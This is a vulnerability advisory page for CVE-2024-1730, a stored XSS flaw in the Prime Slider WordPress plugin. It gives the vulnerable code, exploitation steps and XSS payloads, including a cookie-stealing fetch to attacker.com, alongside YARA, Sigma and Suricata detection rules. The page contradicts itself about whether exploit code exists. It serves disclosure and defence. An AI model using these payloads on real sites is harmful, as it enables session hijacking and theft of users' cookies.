CVE-2024-1730
Executive Summary
CVE-2024-1730 is a Stored Cross-Site Scripting (XSS) vulnerability in the Prime Slider – Addons For Elementor plugin for WordPress, affecting all versions up to and including 3.14.0. The flaw arises from insufficient input sanitization and output escaping in link fields, image URLs, and HTML tags used within widgets. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS v3.1 base score is 5.4 (Medium), with a network attack vector, low attack complexity, and required privileges. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Bearsthemes). Since no patch is available, consider disabling the plugin or restricting contributor-level access as a temporary measure.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): None (N) – No user action needed for script execution.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but stored XSS can lead to session hijacking, defacement, or phishing within the WordPress context.
Deep Dive & Mechanics
The vulnerability resides in the Prime Slider plugin’s widget rendering logic. When a user with contributor-level access or higher creates or edits a slider widget, the plugin fails to properly sanitize and escape user-supplied input in:
- Link fields (e.g.,
urlattributes) - Image URLs (e.g.,
srcattributes from external sources) - HTML tags (e.g., custom HTML blocks within widgets)
The plugin directly outputs these values into the page without applying WordPress’s built-in escaping functions like esc_url() or wp_kses_post(). This allows an attacker to inject malicious JavaScript payloads, such as:
<a href="javascript:alert('XSS')">Click me</a>
or
<img src=x onerror=alert('XSS')>
When the page is rendered, the injected script executes in the context of the victim’s browser, potentially stealing cookies, redirecting users, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (e.g., in widgets/class-slider-widget.php):
$link = $settings['link']['url'];
echo '<a href="' . $link . '">Link</a>';
Patched Code (hypothetical):
$link = esc_url( $settings['link']['url'] );
echo '<a href="' . $link . '">Link</a>';
Similarly, for image URLs:
// Vulnerable
echo '<img src="' . $settings['image']['url'] . '">';
// Patched
echo '<img src="' . esc_url( $settings['image']['url'] ) . '">';
For HTML tags, the plugin should use wp_kses_post() to allow only safe HTML.
Exploitation & Lab Setup
Red Team (Exploitation)
- Prerequisites: Obtain contributor-level credentials on a WordPress site running Prime Slider <= 3.14.0.
- Steps:
- Log in to WordPress admin.
- Navigate to a page/post editor with Elementor.
- Add a Prime Slider widget (e.g., Hero Slider).
- In the link field, enter:
javascript:alert(document.cookie) - In an image URL field, enter:
x onerror=alert(1) - Save/publish the page.
- Trigger: Any user visiting the page will execute the injected script.
Example Payload (link field):
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team (Detection & Hardening)
- Input Validation: Implement strict input validation on all user-supplied fields.
- Output Escaping: Use
esc_url(),esc_attr(), andwp_kses_post()where appropriate. - Content Security Policy (CSP): Deploy CSP headers to block inline scripts.
- User Role Management: Restrict contributor-level access to trusted users only.
- Plugin Monitoring: Use a Web Application Firewall (WAF) to detect XSS patterns.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (None available; monitor plugin file integrity)
- Network Indicators:
- Outbound requests to attacker-controlled domains (e.g.,
attacker.com/steal) - Unusual JavaScript in page source (e.g.,
onerror,javascript:URIs)
- Outbound requests to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress debug log entries showing unexpected HTML in widget settings
- Web server logs with
javascript:URIs in referrer or request parameters
- Behavioral: Unauthorized admin actions performed by non-admin users (session hijacking)
Detection Engineering
YARA Rule
rule CVE_2024_1730_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Prime Slider plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1730"
strings:
$xss1 = /javascript\s*:/ nocase
$xss2 = /onerror\s*=/ nocase
$xss3 = /onload\s*=/ nocase
$xss4 = /<script[^>]*>/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-1730 Stored XSS in Prime Slider Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress Prime Slider plugin content
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'javascript:'
- 'onerror='
- 'onload='
- '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1730 Stored XSS in Prime Slider Plugin"; flow:to_server,established; content:"javascript:"; nocase; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Prime Slider plugin until a patch is released.
- Review and remove any suspicious content from existing pages.
- Change all user passwords, especially for contributor-level accounts.
Long-term Fix:
- Apply the vendor patch when available (monitor WordPress plugin page).
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers.
Workarounds:
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
- Restrict contributor-level access to only trusted users.
- Regularly audit plugin code for similar vulnerabilities.
Valters IT – Securing digital frontiers with precision and intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.